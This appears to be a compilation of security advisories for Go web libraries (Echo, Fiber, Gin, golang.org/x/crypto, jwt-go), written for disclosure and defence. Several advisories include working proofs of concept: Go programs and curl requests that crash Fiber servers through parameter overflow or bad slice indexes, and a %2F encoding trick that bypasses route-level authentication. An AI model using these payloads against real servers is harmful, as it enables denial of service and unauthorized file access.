Echo: Encoded slash (%2F) bypasses route-level protection and exposes static files
Summary
Echo's router and static file handler disagree on URL path decoding. The router matches routes using the raw encoded path (preserving %2F as-is), while StaticDirectoryHandler unescapes %2F to / before resolving filesystem paths. This allows an attacker to bypass route-level access controls and read static files without authorization.
Details
Root cause 1 — router.go lines 798-802:
The router uses req.URL.RawPath for route matching when useEscapedPathForRouting is false (the default). This means /admin%2Fsecret.txt is treated as a single path segment and does NOT match the /admin/* route pattern.
``go
if !r.useEscapedPathForRouting && req.URL.RawPath != "" {
path = req.URL.RawPath
}
`
Root cause 2 — echo.go lines 559-568:
StaticDirectoryHandler calls url.PathUnescape() on the path parameter before opening files. This converts %2F back to /, resolving admin/secret.txt on disk.
`go
if !disablePathUnescaping {
tmpPath, err := url.PathUnescape(p)
p = tmpPath
}
name := filepath.ToSlash(filepath.Clean(strings.TrimPrefix(p, "/")))
`
PoC (Screenshot)
Sample:
<img width="1291" height="970" alt="image" src="https://github.com/user-attachments/assets/0bc58059-3e6d-4678-ab25-a5c79b006738" />
403:
<img width="526" height="194" alt="image" src="https://github.com/user-attachments/assets/2f55ffdd-87b2-4a1b-8a13-130ebad0f257" />
Bypass with encoded slash:
<img width="592" height="203" alt="image" src="https://github.com/user-attachments/assets/1191cd39-ae8f-4d7e-8fb1-cb9cf31f484f" />
Impact
Unauthorized static file disclosure. Applications that protect route prefixes with authentication middleware while also serving static files from a broader root are vulnerable. An attacker only needs to encode the slash (/ → %2F) in the URL to bypass all route-level protection.
Common affected pattern:
`go
adminGroup := e.Group("/admin", authMiddleware)
e.StaticFS("/", os.DirFS("public"))
``
golang.org/x/crypto: Invoking VerifiedPublicKeyCallback permissions skip enforcement
Previously, CVE-2024-45337 fixed an authorization bypass for misused ssh server configurations; if any other type of callback is passed other than public key, then the source-address validation would be skipped.
golang.org/x/crypto vulnerable to auth bypass via unenforced @revoked status
Previously, a revoked 'SignatureKey' belonging to a CA was not correctly checked for revocation. Now, both the 'key' and 'key.SignatureKey' are checked for @revoked.
golang.org/x/crypto vulnerable to infinite loop on large channel writes
When writing data larger than 4GB in a single Write call on an SSH channel, an integer overflow in the internal payload size calculation caused the write loop to spin indefinitely, sending empty packets without making progress. The size comparison now uses int64 to prevent truncation.
golang.org/x/crypto: FIDO/U2F security key physical presence check can be bypassed
The Verify() method for FIDO/U2F security key types (sk-ecdsa-sha2-nistp256@openssh.com, sk-ssh-ed25519@openssh.com) did not check the User Presence flag. Signatures generated without physical touch were accepted, allowing unattended use of a hardware security key. To restore the previous behavior, return a "no-touch-required" extension in Permissions.Extensions from PublicKeyCallback.
golang.org/x/crypto: Invoking pathological RSA/DSA parameters may cause DoS
The RSA and DSA public key parsers did not enforce size limits on key parameters. A crafted public key with an excessively large modulus or DSA parameter could cause several minutes of CPU consumption during signature verification. This could be triggered by unauthenticated clients during public key authentication. RSA moduli are now limited to 8192 bits, and DSA parameters are validated per FIPS 186-2.
golang.org/x/crypto: Invoking client can cause server deadlock on unexpected responses
A malicious SSH peer could send unsolicited global request responses to fill an internal buffer, blocking the connection's read loop. The blocked goroutine could not be released by calling Close(), resulting in a resource leak per connection. Unsolicited global responses are now discarded.
golang.org/x/crypto: Invoking byte arithmetic causes underflow and panic
An incorrectly placed cast from bytes to int allowed for server-side panic in the AES-GCM packet decoder for well-crafted inputs.
golang.org/x/crypto doesn't drop invoking agent constraints when forwarding keys
When adding a key to a remote agent constraint extensions such as restrict-destination-v00@openssh.com were not serialized in the request. Destination restrictions were silently stripped when forwarding keys, allowing unrestricted use of the key on the remote host. The client now serializes all constraint extensions. Additionally, the in-memory keyring returned by NewKeyring() now rejects keys with unsupported constraint extensions instead of silently ignoring them.
golang.org/x/crypto doesn't enforce invoking key constraints
The in-memory keyring returned by NewKeyring() silently accepted keys with the ConfirmBeforeUse constraint but never enforced it. The key would sign without any confirmation prompt, with no indication to the caller that the constraint was not in effect. NewKeyring() now returns an error when unsupported constraints are requested.
Fiber has a Denial of Service Vulnerability via Route Parameter Overflow
A denial of service vulnerability exists in Fiber v2 and v3 that allows remote attackers to crash the application by sending requests to routes with more than 30 parameters. The vulnerability results from missing validation during route registration combined with an unbounded array write during request matching.
Affected Versions
Fiber v3.0.0-rc.3 and earlier v3 releases
Fiber v2.52.10 and potentially all v2 releases (confirmed exploitable)
Both versions share the same vulnerable routing implementation
Vulnerability Details
Root Cause
Both Fiber v2 and v3 define a fixed-size parameter array in ctx.go:
``go
const maxParams = 30
type DefaultCtx struct {
values [maxParams]string // Fixed 30-element array
// ...
}
`
The router.go register() function accepts routes without validating parameter count. When a request matches a route exceeding 30 parameters, the code in path.go performs an unbounded write:
v3: path.go:514
v2: path.go:516
`go
// path.go:514 - NO BOUNDS CHECKING
params[paramsIterator] = path[:i]
`
When paramsIterator >= 30, this triggers:
`
panic: runtime error: index out of range [30] with length 30
`
Attack Scenario
1. Application registers route with >30 parameters (e.g., via code or dynamic routing):
`go
app.Get("/api/:p1/:p2/:p3/.../p35", handler)
`
2. Attacker sends matching HTTP request:
`bash
curl http://target/api/v1/v2/v3/.../v35
`
3. Server crashes during request processing with runtime panic
Proof of Concept
For Fiber v3
`go
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v3"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9999")
}()
time.Sleep(200 time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9999/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:514 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
`
Output:
`
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:514 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v3.(routeParser).getMatch(...)
/path/to/fiber/path.go:514
github.com/gofiber/fiber/v3.(Route).match(...)
/path/to/fiber/router.go:89
github.com/gofiber/fiber/v3.(App).next(...)
/path/to/fiber/router.go:142
`
For Fiber v2
`go
package main
import (
"fmt"
"net/http"
"time"
"github.com/gofiber/fiber/v2"
)
func main() {
app := fiber.New()
// Register route with 35 parameters (exceeds maxParams=30)
path := "/test"
for i := 1; i <= 35; i++ {
path += fmt.Sprintf("/:p%d", i)
}
fmt.Printf("Registering route: %s...\n", path[:50]+"...")
app.Get(path, func(c fiber.Ctx) error {
return c.SendString("Never reached")
})
fmt.Println("✓ Registration succeeded (NO PANIC)")
go func() {
app.Listen(":9998")
}()
time.Sleep(200 time.Millisecond)
// Build exploit URL with 35 parameter values
url := "http://localhost:9998/test"
for i := 1; i <= 35; i++ {
url += fmt.Sprintf("/v%d", i)
}
fmt.Println("\n🔴 Sending exploit request...")
fmt.Println("Expected: panic at path.go:516 params[paramsIterator] = path[:i]\n")
resp, err := http.Get(url)
if err != nil {
fmt.Printf("✗ Request failed: %v\n", err)
fmt.Println("💥 Server crashed!")
} else {
fmt.Printf("Response: %d\n", resp.StatusCode)
resp.Body.Close()
}
}
`
Output (v2):
`
Registering route: /test/:p1/:p2/:p3/:p4/:p5/:p6/:p7/:p8/:p9/:p10...
✓ Registration succeeded (NO PANIC)
🔴 Sending exploit request...
Expected: panic at path.go:516 params[paramsIterator] = path[:i]
panic: runtime error: index out of range [30] with length 30
goroutine 40 [running]:
github.com/gofiber/fiber/v2.(routeParser).getMatch(...)
/path/to/fiber/v2@v2.52.10/path.go:512
github.com/gofiber/fiber/v2.(Route).match(...)
/path/to/fiber/v2@v2.52.10/router.go:84
github.com/gofiber/fiber/v2.(App).next(...)
/path/to/fiber/v2@v2.52.10/router.go:127
`
Impact
Exploitation Requirements
No authentication required
Single HTTP request triggers crash
Trivially scriptable for sustained DoS
Works against any route with >30 parameters
Real-World Impact
Public APIs: Remote DoS attacks on vulnerable endpoints
Microservices: Cascade failures if vulnerable service is critical
Auto-scaling: Repeated crashes prevent proper recovery
Monitoring: Log flooding and alert fatigue
Likelihood
HIGH - Exploitation requires only:
Knowledge of route structure (often public in APIs)
Standard HTTP client (curl, browser, etc.)
Single malformed request
Workarounds
Until patched, users should:
1. Audit Routes: Ensure all routes have ≤30 parameters
`bash
# Search for potential issues
grep -r "/:./:./:." . | grep -v node_modules
`
2. Disable Dynamic Routing: If programmatically registering routes, validate parameter count:
`go
paramCount := strings.Count(route, ":")
if paramCount > 30 {
log.Fatal("Route exceeds maxParams")
}
``
3. Rate Limiting: Deploy aggressive rate limiting to mitigate DoS impact
4. Monitoring: Alert on panic patterns in application logs
Timeline
2024-12-24: Vulnerability discovered in v3 during PR #3962 review
2024-12-25: Proof of concept confirmed exploitability in v3
2024-12-25: Vulnerability confirmed to also exist in v2 (same root cause)
2024-12-25: Security advisory created
References
v3 Related PR: https://github.com/gofiber/fiber/pull/3962 (UpdateParam feature with defensive checks, doesn't fix root cause)
Vulnerable Code Locations:
v3: path.go:514
v2: path.go:516
Credit
Discovered by: @sixcolors (Fiber maintainer) and @TheAspectDev
Fiber has an insecure fallback in utils.UUIDv4() / utils.UUID() — predictable / zero‑UUID on crypto/rand failure
Fiber v2 contains an internal vendored copy of gofiber/utils, and its functions UUIDv4() and UUID() inherit the same critical weakness described in the upstream advisory. On Go versions prior to 1.24, the underlying crypto/rand implementation can return an error if secure randomness cannot be obtained. In such cases, these Fiber v2 UUID functions silently fall back to generating predictable values — the all-zero UUID 00000000-0000-0000-0000-000000000000.
On Go 1.24+, the language guarantees that crypto/rand no longer returns an error (it will block or panic instead), so this vulnerability primarily affects Fiber v2 users running Go 1.23 or earlier, which Fiber v2 officially supports.
Because no error is returned by the Fiber v2 UUID functions, application code may unknowingly rely on predictable, repeated, or low-entropy identifiers in security-critical pathways. This is especially impactful because many Fiber v2 middleware components (session middleware, CSRF, rate limiting, request-ID generation, etc.) default to using utils.UUIDv4().
Impact includes, but is not limited to:
Session fixation or hijacking (predictable session IDs)
CSRF token forgery or bypass
Authentication replay / token prediction
Potential denial-of-service (DoS): if the zero UUID is generated, key-based structures (sessions, rate-limits, caches, CSRF stores) may collapse into a single shared key, causing overwrites, lock contention, or state corruption
Request-ID collisions, undermining logging and trace integrity
General compromise of confidentiality, integrity, and authorization logic relying on UUIDs for uniqueness or secrecy
All Fiber v2 versions containing the internal utils.UUIDv4() / utils.UUID() implementation are affected when running on Go <1.24. No patched Fiber v2 release currently exists.
---
Suggested Mitigations / Workarounds
Update to the latest version of Fiber v2.
---
Likelihood / Environmental Factors
It’s important to note that entropy exhaustion on modern Linux systems is extremely rare, as the kernel’s CSPRNG is resilient and non-blocking. However, entropy-source failures — where crypto/rand cannot read from its underlying provider — are significantly more likely in certain environments.
This includes containerized deployments, restricted sandboxes, misconfigured systems lacking read access to /dev/urandom or platform-equivalent sources, chrooted or jailed environments, embedded devices, or systems with non-standard or degraded randomness providers. On Go <1.24, such failures cause crypto/rand to return an error, which the Fiber v2 UUID functions currently treat as a signal to silently generate predictable UUIDs, including the zero UUID. This silent fallback is the root cause of the vulnerability.
---
References
Upstream advisory for gofiber/utils: GHSA-m98w-cqp3-qcqr
Source repositories:
github.com/gofiber/fiber
github.com/gofiber/utils
---
Credits / Reporter
Reported by @sixcolors (Fiber Maintainer / Security Team)
Fiber Crashes in BodyParser Due to Unvalidated Large Slice Index in Decoder
Description
When using Fiber's Ctx.BodyParser to parse form data containing a large numeric key that represents a slice index (e.g., test.18446744073704), the application crashes due to an out-of-bounds slice allocation in the underlying schema decoder.
The root cause is that the decoder attempts to allocate a slice of length idx + 1 without validating whether the index is within a safe or reasonable range. If idx is excessively large, this leads to an integer overflow or memory exhaustion, causing a panic or crash.
Steps to Reproduce
Create a POST request handler that accepts x-www-form-urlencoded data
``go
package main
import (
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []struct{} form:"test"
}
func main() {
app := fiber.New()
app.Post("/", func(c fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
return nil
})
fmt.Println(app.Listen(":3000"))
}
`
Run the server and send a POST request with a large numeric key in form data, such as:
`bash
curl -v -X POST localhost:3000 --data-raw 'test.18446744073704' \
-H 'Content-Type: application/x-www-form-urlencoded'
`
Relevant Code Snippet
Within the decoder's decode method:
`go
idx := parts[0].index
if v.IsNil() || v.Len() < idx+1 {
value := reflect.MakeSlice(t, idx+1, idx+1) // <-- Panic/crash occurs here when idx is huge
if v.Len() < idx+1 {
reflect.Copy(value, v)
}
v.Set(value)
}
`
The idx` is not validated before use, leading to unsafe slice allocation for extremely large values.
---
Impact
Application panic or crash on malicious or malformed input.
Potential denial of service (DoS) via memory exhaustion or server crash.
Lack of defensive checks in the parsing code causes instability.
Fiber panics when fiber.Ctx.BodyParser parses invalid range index
Summary
When using the fiber.Ctx.BodyParser to parse into a struct with range values, a panic occurs when trying to parse a negative range index
Details
fiber.Ctx.BodyParser can map flat data to nested slices using key[idx]value syntax, however when idx is negative, it causes a panic instead of returning an error stating it cannot process the data.
Since this data is user-provided, this could lead to denial of service for anyone relying on this fiber.Ctx.BodyParser functionality
Reproducing
Take a simple GoFiberV2 server which returns a JSON encoded version of the FormData
``go
package main
import (
"encoding/json"
"fmt"
"net/http"
"github.com/gofiber/fiber/v2"
)
type RequestBody struct {
NestedContent []struct {
Value string form:"value"
} form:"nested-content"
}
func main() {
app := fiber.New()
app.Post("/", func(c fiber.Ctx) error {
formData := RequestBody{}
if err := c.BodyParser(&formData); err != nil {
fmt.Println(err)
return c.SendStatus(http.StatusUnprocessableEntity)
}
c.Set("Content-Type", "application/json")
s, _ := json.Marshal(formData)
return c.SendString(string(s))
})
fmt.Println(app.Listen(":3000"))
}
`
Correct Behaviour
Send a valid request such as:
`bash
curl --location 'localhost:3000' \
--form 'nested-content[0].value="Foo"' \
--form 'nested-content[1].value="Bar"'
`
You recieve valid JSON
`json
{"NestedContent":[{"Value":"Foo"},{"Value":"Bar"}]}
`
Crashing behaviour
Send an invalid request such as:
`bash
curl --location 'localhost:3000' \
--form 'nested-content[-1].value="Foo"'
`
The server panics and crashes
`
panic: reflect: slice index out of range
goroutine 8 [running]:
reflect.Value.Index({0x738000?, 0xc000010858?, 0x0?}, 0x738000?)
/usr/lib/go-1.24/src/reflect/value.go:1418 +0x167
github.com/gofiber/fiber/v2/internal/schema.(*Decoder).decode(0xc00002c570, {0x75d420?, 0xc000010858?, 0x7ff424822108?}, {0xc00001c498, 0x17}, {0xc00014e2d0, 0x2, 0x2}, {0xc00002c710, ...})
[...]
`
Impact
Anyone using fiber.Ctx.BodyParser` can/will have their servers crashed when an invalid payload is sent
golang.org/x/crypto Vulnerable to Denial of Service (DoS) via Slow or Incomplete Key Exchange
SSH servers which implement file transfer protocols are vulnerable to a denial of service attack from clients which complete the key exchange slowly, or not at all, causing pending content to be read into memory, but never transmitted.
jwt-go allows excessive memory allocation during header parsing
Summary
Function parse.ParseUnverified currently splits (via a call to strings.Split) its argument (which is untrusted data) on periods.
As a result, in the face of a malicious request whose _Authorization_ header consists of Bearer followed by many period characters, a call to that function incurs allocations to the tune of O(n) bytes (where n stands for the length of the function's argument), with a constant factor of about 16. Relevant weakness: CWE-405: Asymmetric Resource Consumption (Amplification)
Details
See parse.ParseUnverified
Impact
Excessive memory allocation
Misuse of ServerConfig.PublicKeyCallback may cause authorization bypass in golang.org/x/crypto
Applications and libraries which misuse the ServerConfig.PublicKeyCallback callback may be susceptible to an authorization bypass.
The documentation for ServerConfig.PublicKeyCallback says that "A call to this function does not guarantee that the key offered is in fact used to authenticate." Specifically, the SSH protocol allows clients to inquire about whether a public key is acceptable before proving control of the corresponding private key. PublicKeyCallback may be called with multiple keys, and the order in which the keys were provided cannot be used to infer which key the client successfully authenticated with, if any. Some applications, which store the key(s) passed to PublicKeyCallback (or derived information) and make security relevant determinations based on it once the connection is established, may make incorrect assumptions.
For example, an attacker may send public keys A and B, and then authenticate with A. PublicKeyCallback would be called only twice, first with A and then with B. A vulnerable application may then make authorization decisions based on key B for which the attacker does not actually control the private key.
Since this API is widely misused, as a partial mitigation golang.org/x/crypto@v0.31.0 enforces the property that, when successfully authenticating via public key, the last key passed to ServerConfig.PublicKeyCallback will be the key used to authenticate the connection. PublicKeyCallback will now be called multiple times with the same key, if necessary. Note that the client may still not control the last key passed to PublicKeyCallback if the connection is then authenticated with a different method, such as PasswordCallback, KeyboardInteractiveCallback, or NoClientAuth.
Users should be using the Extensions field of the Permissions return value from the various authentication callbacks to record data associated with the authentication attempt instead of referencing external state. Once the connection is established the state corresponding to the successful authentication attempt can be retrieved via the ServerConn.Permissions field. Note that some third-party libraries misuse the Permissions type by sharing it across authentication attempts; users of third-party libraries should refer to the relevant projects for guidance.
Session Middleware Token Injection Vulnerability
A security vulnerability has been identified in the Fiber session middleware where a user can supply their own session_id value, leading to the creation of a session with that key.
Impact
The identified vulnerability is a session middleware issue in GoFiber versions 2 and above. This vulnerability allows users to supply their own session_id value, resulting in the creation of a session with that key. If a website relies on the mere presence of a session for security purposes, this can lead to significant security risks, including unauthorized access and session fixation attacks. All users utilizing GoFiber's session middleware in the affected versions are impacted.
Patches
The issue has been addressed in the latest patch. Users are strongly encouraged to upgrade to version 2.52.5 or higher to mitigate this vulnerability.
Workarounds
Users who are unable to upgrade immediately can apply the following workarounds to reduce the risk:
1. Validate Session IDs: Implement additional validation to ensure session IDs are not supplied by the user and are securely generated by the server.
2. Session Management: Regularly rotate session IDs and enforce strict session expiration policies.
References
For more information on session best practices:
OWASP Session Management Cheat Sheet
Users are encouraged to review these references and take immediate action to secure their applications.
Gin mishandles a wildcard at the end of an origin string
parseWildcardRules in Gin-Gonic CORS middleware before 1.6.0 mishandles a wildcard at the end of an origin string, e.g., https://example.community/ is allowed when the intention is that only https://example.com/ should be allowed, and http://localhost.example.com/ is allowed when the intention is that only http://localhost/ should be allowed.
Fiber has Insecure CORS Configuration, Allowing Wildcard Origin with Credentials
The CORS middleware allows for insecure configurations that could potentially expose the application to multiple CORS-related vulnerabilities. Specifically, it allows setting the Access-Control-Allow-Origin header to a wildcard ("") while also having the Access-Control-Allow-Credentials set to true, which goes against recommended security best practices.
Impact
The impact of this misconfiguration is high as it can lead to unauthorized access to sensitive user data and expose the system to various types of attacks listed in the PortSwigger article linked in the references.
Proof of Concept
The code in cors.go allows setting a wildcard in the AllowOrigins while having AllowCredentials set to true, which could lead to various vulnerabilities.
Potential Solution
Here is a potential solution to ensure the CORS configuration is secure:
``go
func New(config ...Config) fiber.Handler {
if cfg.AllowCredentials && cfg.AllowOrigins == "" {
panic("[CORS] Insecure setup, 'AllowCredentials' is set to true, and 'AllowOrigins' is set to a wildcard.")
}
// Return new handler goes below
}
The middleware will not allow insecure configurations when using AllowCredentials and AllowOrigins.
``
Workarounds
For the meantime, users are advised to manually validate the CORS configurations in their implementation to ensure that they do not allow a wildcard origin when credentials are enabled. The browser fetch api, browsers and utilities that enforce CORS policies are not affected by this.
References
MDN Web Docs on CORS Errors
CodeQL on CORS Misconfiguration
PortSwigger on Exploiting CORS Misconfigurations
WhatWG CORS protocol and credentials